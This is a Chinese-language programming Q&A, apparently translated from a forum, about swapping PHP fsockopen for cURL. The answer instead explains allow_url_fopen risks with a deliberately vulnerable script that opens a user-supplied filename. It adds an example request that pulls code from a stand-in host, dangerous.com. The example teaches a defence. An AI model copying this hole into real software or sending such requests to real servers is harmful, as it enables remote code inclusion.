0

大家好,我有一些正在通过 foreach 循环运行的代码:

        if($fp = @fsockopen($value['privateip'],1935,$errCode,$errStr,.5)){   
           $value['alive'] = 'alive';
        } else {
           $value['alive'] = 'down';
        } 
        @fclose($fp);

它基本上在端口 1935 上 ping 我的服务器,然后更改数组中的值。如果发生代码注入,我已经阅读过 php 的文件函数很危险,因此禁用它们可能会更好。如何更改此代码以改用 cURL?

4

1 回答 1

0

看看这段代码:

<?php

$filename = @$_GET['filename'];

$fp = fopen($filename,'r');
$buffer = '';
while (!feof($fp)) {
    $buffer .= fgets($fp,2048);    
}
fclose($fp);

$fp = fopen('something_very_important_data.txt','a');
fwrite($fp,$buffer);
fclose($fp);

当您收到请求时,例如:

http://www.yourserver.com/your_script.php?filename=http%3A%2F%2Fdangerous.com%2Fdangerous_code.txt

$filename价值将是:

$filename = 'http://dangerous.com/dangerous_code.txt';

如果allow_url_fopen设置为 on,则此方法有效
如您所知,这是非常危险的。
为防止出现此问题,请allow_url_fopen关闭或完全过滤$_GET$_POST等等。

于 2013-05-14T05:51:34.590 回答